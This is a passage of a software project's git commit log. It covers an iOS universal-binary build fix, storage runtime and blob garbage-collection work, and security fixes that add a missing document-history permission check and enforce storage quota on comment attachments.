- make `xc-universal-binary.sh` produce a real universal simulator Rust
archive for `arm64` and `x86_64`
- run `uniffi-bindgen` against a single-slice archive before assembling
the fat simulator output

- [x] `bash -n packages/frontend/apps/ios/App/xc-universal-binary.sh`
- [x] `xcodebuild -workspace \"App.xcworkspace\" -scheme App
-destination 'generic/platform=iOS Simulator' -derivedDataPath
\".derivedData-rebuild\" build`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

* **Bug Fixes**
* Improved the iOS build process so universal binaries are generated
from consistent output locations, reducing build path issues.
* Made device and simulator library handling more reliable during
packaging and code generation, helping produce the expected app binaries
more consistently.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-03 18:11:08 +08:00
akshitha-07 1f0bcd01a3 fix: enforce Doc.Read permission on workspace histories field (#15192)
The histories() resolver was returning document edit history (including
editor names, emails, and timestamps) without checking Doc.Read
permission first. This let any workspace member view history for private
docs they weren't given access to, by passing an arbitrary document
guid.

Added the same permission check already used by
WorkspaceDocResolver.doc() and recoverDoc() in this file.

Fixes #15179

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Added permission checks when viewing document history so only
authorized users can access snapshot histories.
* Prevented workspace collaborators without read access from querying
histories for private documents.
* **Tests**
* Added an end-to-end test to verify history access is denied when the
required permission is missing.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-03 18:08:24 +08:00
DarkSky 5b7f83a6e3 feat(server): batch blob gc (#15183) 2026-07-02 06:14:01 +08:00
DarkSky 6f9269498f fix(server): blob gc planning 2026-07-02 03:28:56 +08:00
DarkSky e5d44b8ff2 fix(server): s3 metadata encode 2026-07-02 00:27:17 +08:00
DarkSky 8c68319094 feat(server): improve client builder 2026-07-01 23:27:20 +08:00
DarkSky 8ebdb7452f feat(server): impl storage runtime (#15181)
#### PR Dependency Tree


* **PR #15181** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added an additional storage backend option: asset-pack based storage
(provider for avatar, blob, and copilot).
* Introduced a dedicated storage runtime with provider capability
reporting and expanded object operations (put/head/get/list/delete),
including presigned and multipart flows where supported.
* Cloudflare R2 `jurisdiction` now uses an explicit default when
omitted.
* **Bug Fixes**
  * Broadened avatar access to allow both fs and asset-pack providers.
* Improved workspace blob upload completion validation and handling when
stored objects are missing or mismatched.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-01 22:24:10 +08:00
FailSafe da7d438377 fix: enforce quota for comment attachments (#15149)
## Summary

This change includes comment attachments in workspace storage usage and
checks workspace storage quota before accepting a new comment attachment
upload.

## Impact

Comment attachments already had a per-file size limit, but they were not
counted in the same workspace storage usage path as other uploaded
blobs. A user with comment permission could keep adding attachments
without those bytes participating in workspace storage quota
calculations.

## Fix

- Count comment attachment bytes in workspace storage usage
reconciliation.
- Check the workspace quota before storing a new comment attachment.
- Return the existing comment attachment quota error when the upload
would exceed limits.

## Validation

- `git diff --check`
- Full test/lint suite was not run locally because dependencies are not
installed in this checkout.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Workspace attachment uploads now respect storage and file quota limits
more accurately.
* Workspace storage tracking now includes comment attachments, improving
quota enforcement.

* **Bug Fixes**
* Attachment uploads now fail with a clear quota error when a workspace
is out of space or blob capacity.
* Storage usage calculations now better reflect actual workspace
content, including non-deleted files.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Signed-off-by: failsafesecurity <190101117+failsafesecurity@users.noreply.github.com>
2026-07-01 08:45:33 +08:00
DarkSky a821f67fc9 fix: config override 2026-06-30 04:37:52 +08:00